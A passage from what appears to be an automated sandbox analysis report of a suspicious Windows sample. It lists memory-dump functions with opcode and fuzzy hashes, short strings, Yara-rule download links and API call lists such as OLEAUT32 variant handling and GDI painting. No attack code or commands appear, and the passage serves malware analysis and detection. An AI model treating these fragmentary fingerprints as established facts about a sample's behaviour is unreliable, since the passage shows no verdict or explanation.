Instruction ID: 0eab2b30e5d7fb1c0b53354f248aaad4cee62a2d4639793eabd7c02bca1fe761
Opcode Fuzzy Hash: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction Fuzzy Hash: BF419771A093019FCB58DF25D98681FBBE1FBC8758F00891DF48696220D775CA0A9F83

Uniqueness

Uniqueness Score: -1.00%

Function 00F84F42, Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

B;}, xrefs: 00F84FA4

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: B;}
API String ID: 0-3368358345
Opcode ID: f1083efbde4e3fb25c64476eed77a8068ebdc53d2d10ab93ffaf617e4dfea489
Instruction ID: 40e852df8f115bcfbd19befea8222319252c37002850c6c5563bee7f17e79922
Opcode Fuzzy Hash: f1083efbde4e3fb25c64476eed77a8068ebdc53d2d10ab93ffaf617e4dfea489
Instruction Fuzzy Hash: 5B5135B11087419FC759DF26C98A82BBFE1FBC8B58F504A0CF59656220C3758A19DF87

Uniqueness

Uniqueness Score: -1.00%

Function 00F8635F, Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

N, xrefs: 00F86401

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: N
API String ID: 0-3948818596
Opcode ID: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction ID: eb0d079f28716adf5dc3fb2671871387be5aad5ddc5319c8a10d75a1677034b1
Opcode Fuzzy Hash: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction Fuzzy Hash: C941C872508385CBC758DF25D98946FBBE1FBD4758F004A2EF596A6260C3B48A09DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00F8F699, Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

C|, xrefs: 00F8F7A4

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: C|
API String ID: 0-2444742693
Opcode ID: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction ID: 29731c62a95e75be5a6827366e8543bb832285910d51b4e3c16c21466a03bbc3
Opcode Fuzzy Hash: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction Fuzzy Hash: B341E271E01208EBDF08CFA5D9868DEBFB6EB84314F20C09AE015AB250D7B55B55DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F8DD66, Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

CCP, xrefs: 00F8DDC8

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: CCP
API String ID: 0-1034069945
Opcode ID: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction ID: 8c099c0053884631205a90240b3d2748ff4360329704b2b71b1fa38f33479935
Opcode Fuzzy Hash: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction Fuzzy Hash: ED41E1B2C0121DABDF59DFE0C94A4EEBBB4FF24304F108198D511B6260E3B81A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F854C0, Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

2+]X, xrefs: 00F854F8

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 2+]X
API String ID: 0-635157736
Opcode ID: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction ID: 5cd0fbc84bb09284f87842ad1edeb0ce4f48b20eeac8cd3a4f0f4ef37bde235b
Opcode Fuzzy Hash: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction Fuzzy Hash: E6318872A293519BC314CF28888595AFBE0EF98714F454A2DE885A7242D770EA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F98518, Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

g, xrefs: 00F9853E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: g
API String ID: 0-1037297435
Opcode ID: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction ID: b4b243a959e583c266a59e646d72762ecb979cfa3d1ea6efd67b2c8bef6469cf
Opcode Fuzzy Hash: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction Fuzzy Hash: 1C21AD72A083009FD754DE2AD88161BB7E6EFC8728F458A2DF499D3254DBB0D9098B42

Uniqueness

Uniqueness Score: -1.00%

Function 00FA314A, Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

BGd, xrefs: 00FA31BE

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: BGd
API String ID: 0-2042166335
Opcode ID: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction ID: 421e28316139f9e42404f0131628021f9d9b22092c743d4e62722a773b2145df
Opcode Fuzzy Hash: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction Fuzzy Hash: 272120B6D0020EEBDF14CFA5DA4A8EEFBB5EB44304F248199D921B6260D3B44B05DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F8F20D, Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

PGX, xrefs: 00F8F2D8

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: PGX
API String ID: 0-1232467878
Opcode ID: 9f32702375aa6a5601cf6f944342b01617e2d60fae3251e052db48b8971ea236
Instruction ID: 028a4336d7ba4c89eaa9085a764b6d56b51af0c2962cd826faf3ad0a862ce7d5
Opcode Fuzzy Hash: 9f32702375aa6a5601cf6f944342b01617e2d60fae3251e052db48b8971ea236
Instruction Fuzzy Hash: 3031CDB1D0120EEBCB08DFA1D94A4EEFBB1BB40308F208198D522B6260D7B45B59DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED50569, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c10af7227aeb440ad5dc153b7449a01831cdde890c36c49452574a0db6b66ec
Instruction ID: 595870ecea3902d77c941aebcde6c00b4fa722653286f95c9a046f538fa70e12
Opcode Fuzzy Hash: 7c10af7227aeb440ad5dc153b7449a01831cdde890c36c49452574a0db6b66ec
Instruction Fuzzy Hash: 68320621D29F414DEB639A34C872335A359AFB73C8F15DB27E82AB5E95FB29C4934100

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3FD1F, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e24b44b9762e9998cb07bbb1c66afac786d29e044ee2bb0456e4d39d2da0b84e
Instruction ID: dc0dd14f47b0412b9108e5890f904f143b80cbcab8c4edb7087368231bff17d5
Opcode Fuzzy Hash: e24b44b9762e9998cb07bbb1c66afac786d29e044ee2bb0456e4d39d2da0b84e
Instruction Fuzzy Hash: D7516F71E00119EFDF44CF99C990AEEBBB6EF89304F298099E414AB351C7349A51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F86125, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5c6aec377117a7abbd7d3479ccc091c7e672615f94522298791f7264f1055ac
Instruction ID: dc7a0f12fa76ee1a9a34ce849c7c20ccf2f98df7ea0765054c428a9f6e3caf86
Opcode Fuzzy Hash: b5c6aec377117a7abbd7d3479ccc091c7e672615f94522298791f7264f1055ac
Instruction Fuzzy Hash: 656141B2D00209EBCF08DFA4D98A9EEFBB2FB58314F208059E411B6260D7B51A59CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00F85166, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6acab5fe2c1d94e2608f54a980628d5db6fa62edbe60f6249f85a0dc2e02ef
Instruction ID: 13e21c67963861cf4206de78edb9fc42e17b5391ca3dcc9b0d5557e1c1bee24b
Opcode Fuzzy Hash: be6acab5fe2c1d94e2608f54a980628d5db6fa62edbe60f6249f85a0dc2e02ef
Instruction Fuzzy Hash: A741BCB16083418BCB58DF24D98586FBBE1FBC5B58F100A2DF186A6260D735CA4CDB93

Uniqueness

Uniqueness Score: -1.00%

Function 6ED558EF, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fdc4587d729f4e367ecf055b768f1cbc744c37207da55e3118f5875dc8bfb5e
Instruction ID: d20749c124476280f9769771110ff883da5f8ff7bf1602ed0c93255311d75de7
Opcode Fuzzy Hash: 4fdc4587d729f4e367ecf055b768f1cbc744c37207da55e3118f5875dc8bfb5e
Instruction Fuzzy Hash: 1D21A473F20439477B0CC47E8C522B9B6E1C68C511745427AF8A6DA3C1D968D927E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 00F9E478, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction ID: 7b6c3b8ddd92c87dad1c279f533348482372158ec98a87247fa5a9b46d34a18a
Opcode Fuzzy Hash: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction Fuzzy Hash: A74112B1C0021DABCF45DFE4C88A8EEBBB5FF48318F508548E521B6210D7B94A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FA0AD3, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction ID: 979df07691e42df647fa761743b0c51fbeda386e427928630aeac2517770d349
Opcode Fuzzy Hash: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction Fuzzy Hash: F9318D72A183119FC750DF29C48155AF7E0EFC8324F815A2DF89AD7250E774E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F8F4A5, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435dd061a744997ea0c2ac394856e8512e317e9123a684fc9f6e15728d585419
Instruction ID: 0755e10adb314f5855457108083802e8675b358abd62ed107fd39c962b6e7737
Opcode Fuzzy Hash: 435dd061a744997ea0c2ac394856e8512e317e9123a684fc9f6e15728d585419
Instruction Fuzzy Hash: 93314171D0031AAFEB08DFE1C94A9EEBBB1FB40714F208069D511BB250D7B95A15CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F8F984, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction ID: 4da7efcdc1eead2d0111ebb27093f9369caf865d218b7b9a2de24922e332cff9
Opcode Fuzzy Hash: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction Fuzzy Hash: 6B31F6B290020CEFEF04DFA9DD89CEEBBB9EB48358F018159F918A6250D3759E159F50

Uniqueness

Uniqueness Score: -1.00%

Function 6ED557CB, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a88c8c24259dc36c48b951825f2e1a69e4db61dfd3b087fa723bc9dee40b40
Instruction ID: 9ea04fe66afb1f16152d5e1fca8ad1ccf0c38dc62cdc2fd371d5d608fc25c01d
Opcode Fuzzy Hash: c5a88c8c24259dc36c48b951825f2e1a69e4db61dfd3b087fa723bc9dee40b40
Instruction Fuzzy Hash: 2E119823F30C255A275C81AD8C1327AA6D2DBD825070F533AD826EB384E854DE23D290

Uniqueness

Uniqueness Score: -1.00%

Function 00F8938F, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction ID: 0628aaa83275c35cb9c0da2c668f4a1d27c435f0086b5df320828d8caefc3270
Opcode Fuzzy Hash: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction Fuzzy Hash: 5A31D232900209FBDF05DEA5CC06CDEBFB6FF49310F508589FA25A6160D3B68A61EB50

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27A30, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721a9c3d5be6aa06c92f94912cd8d74cb88f7b706653359899b57a7f28bd89f0
Instruction ID: f57c251a1ef11400be75e14a857ddf6c50789ccb56d6bc00ff06d738eccddbd2
Opcode Fuzzy Hash: 721a9c3d5be6aa06c92f94912cd8d74cb88f7b706653359899b57a7f28bd89f0
Instruction Fuzzy Hash: 8821B072A04214DFDB60CF58D8C0A65BBF5FF4A224B1A41FAE94DCB356D230E9508BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2C16, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction ID: ac91ddc06ca31ea10f202d1930199d55752b91816d2e93dbca07b58e68094e7a
Opcode Fuzzy Hash: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction Fuzzy Hash: B43102B1D0130EABCB48CFE5DA4A8EEBBB1FB44314F208199D511B6260D3B55B55CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F85314, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction ID: f2cb4eea58d0bfa3840a2edfbd4263f50c7a3300ce712b461c2b789cb9a86416
Opcode Fuzzy Hash: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction Fuzzy Hash: C421E0B1D1020DEBDB18CFA5D94A4AEBBF0FB10718F208189E414A6280DBB85B08CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B715, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ceeb394943dedc91ac85ec01282585c4c36c65ed53bceaa8aa5d21c9e89172b
Instruction ID: 0ed904ea94952418135253b8cf59c48215ad0249e49c2a1a443b7b54849e5434
Opcode Fuzzy Hash: 5ceeb394943dedc91ac85ec01282585c4c36c65ed53bceaa8aa5d21c9e89172b
Instruction Fuzzy Hash: D1E08C32911238EBC720DFD8C900DDAF3ECEB19A51B21059AF904D3600C671DE00CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED21230, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abad5dcf0f23744de75a45cbdeac365a6ca3222e9b4637bafb75050584ef31d5
Instruction ID: 8460314c99e1c83ab88f4c24e9403a388aa7a0607b34e81099aab570c9bfae93
Opcode Fuzzy Hash: abad5dcf0f23744de75a45cbdeac365a6ca3222e9b4637bafb75050584ef31d5
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00F94315, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6ED28980, Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6ED28AD7
VariantInit.OLEAUT32(?), ref: 6ED28B06
VariantCopy.OLEAUT32(?,?), ref: 6ED28B14
SysFreeString.OLEAUT32(00000000), ref: 6ED28B5B
SysFreeString.OLEAUT32(-00000001), ref: 6ED28BEE
VariantClear.OLEAUT32(?), ref: 6ED28C27
SysFreeString.OLEAUT32(-00000001), ref: 6ED28C3F
SysFreeString.OLEAUT32(00000000), ref: 6ED28C7A
SysFreeString.OLEAUT32(00000000), ref: 6ED28C93
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6ED28D14
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED28D1E
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6ED28D3B
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6ED28D50
SysFreeString.OLEAUT32(00000000), ref: 6ED28D5F
SysFreeString.OLEAUT32(00000000), ref: 6ED28DE8
SysFreeString.OLEAUT32(00000000), ref: 6ED28E2C
_com_issue_error.COMSUPP ref: 6ED28E6E
_com_issue_error.COMSUPP ref: 6ED28E74
_com_issue_error.COMSUPP ref: 6ED28E7E
SysFreeString.OLEAUT32(7504D5B0), ref: 6ED28E84

Strings

lines, xrefs: 6ED28D0B, 6ED28D32
", xrefs: 6ED28E37
offsetY, xrefs: 6ED28B22

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$Variant_com_issue_error$AllocByteCharMultiWide$BstrClearCopyInit
String ID: "$lines$offsetY
API String ID: 1469084953-1489481244
Opcode ID: 6aaba13b27de171875cbdc47de20e2912d692779d1a509096ce1e563ae1f5d91
Instruction ID: b66514a2875356e3601396b529e6beec12b6f6364a9f1da253647fe200dcbf22
Opcode Fuzzy Hash: 6aaba13b27de171875cbdc47de20e2912d692779d1a509096ce1e563ae1f5d91
Instruction Fuzzy Hash: D2F1B374A0164ADFEF00CFE4C954BAEBBB8AF45708F24456CE615AB280DB76D905CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6ED31240, Relevance: 31.7, APIs: 21, Instructions: 187windowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 6ED312F3
GetParent.USER32(?), ref: 6ED312FC
GetClientRect.USER32(00000000,?), ref: 6ED31312
CreateCompatibleDC.GDI32(?), ref: 6ED31318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
SelectObject.GDI32(00000000,00000000), ref: 6ED31346
SelectObject.GDI32(00000000,?), ref: 6ED31358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
SetBkMode.GDI32(?,00000001), ref: 6ED31388
SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
GetClientRect.USER32(?,?), ref: 6ED313A6
ClientToScreen.USER32(?,?), ref: 6ED313B4
ClientToScreen.USER32(?,?), ref: 6ED313C9
ClientToScreen.USER32(?,?), ref: 6ED313EB

Part of subcall function 6ED30DF0: GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6ED31419,?,00000000,?), ref: 6ED30E7E

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6ED3144D
SelectObject.GDI32(?,?), ref: 6ED31458
SelectObject.GDI32(?,?), ref: 6ED31463
DeleteObject.GDI32(?), ref: 6ED3146D
DeleteDC.GDI32(?), ref: 6ED31474
EndPaint.USER32(?,?), ref: 6ED31482

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSendText$BeginBitmapColorMetricsModeParent
String ID:
API String ID: 1460541294-0
Opcode ID: 589671fb16a89443d486c52324589dd924f4db5b2a09c7523eeb9bede9be0906
Instruction ID: c94009a4b169feab314cfe22a1d9484ff37e59419060392349057ae74dd65637
Opcode Fuzzy Hash: 589671fb16a89443d486c52324589dd924f4db5b2a09c7523eeb9bede9be0906
Instruction Fuzzy Hash: 69617C71104B11AFEB209F64CD09F6FBBE9FF89710F104A1DF695921A0CB35A9458FA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED312B0, Relevance: 31.6, APIs: 21, Instructions: 141windowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 6ED312F3
GetParent.USER32(?), ref: 6ED312FC
GetClientRect.USER32(00000000,?), ref: 6ED31312
CreateCompatibleDC.GDI32(?), ref: 6ED31318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
SelectObject.GDI32(00000000,00000000), ref: 6ED31346
SelectObject.GDI32(00000000,?), ref: 6ED31358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
SetBkMode.GDI32(?,00000001), ref: 6ED31388
SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
GetClientRect.USER32(?,?), ref: 6ED313A6
ClientToScreen.USER32(?,?), ref: 6ED313B4
ClientToScreen.USER32(?,?), ref: 6ED313C9
ClientToScreen.USER32(?,?), ref: 6ED313EB
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6ED3144D
SelectObject.GDI32(?,?), ref: 6ED31458
SelectObject.GDI32(?,?), ref: 6ED31463
DeleteObject.GDI32(?), ref: 6ED3146D
DeleteDC.GDI32(?), ref: 6ED31474
EndPaint.USER32(?,?), ref: 6ED31482

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSend$BeginBitmapColorModeParentText
String ID:
API String ID: 2796758630-0
Opcode ID: 2f846b02792fa671e312ca89b9f89fa737d0d269734d17336ee929a05f111545
Instruction ID: 86e66f737d8e19cd5bdb85a4928b0f8c9071bd62e42a1a1b3cc87a8683c9e161
Opcode Fuzzy Hash: 2f846b02792fa671e312ca89b9f89fa737d0d269734d17336ee929a05f111545
Instruction Fuzzy Hash: 78513C71118751AFEB219F64C908F6FBBE8FF89700F10491DF69992160DB31A946CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27ED0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 6ED27F46
VariantInit.OLEAUT32(?), ref: 6ED27F78
VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6ED27FA0
SysFreeString.OLEAUT32(-00000001), ref: 6ED27FE1
SysAllocString.OLEAUT32(?), ref: 6ED28049
VariantClear.OLEAUT32(?), ref: 6ED2806B
_com_issue_error.COMSUPP ref: 6ED28096
_com_issue_error.COMSUPP ref: 6ED280A0
_com_issue_error.COMSUPP ref: 6ED280A6
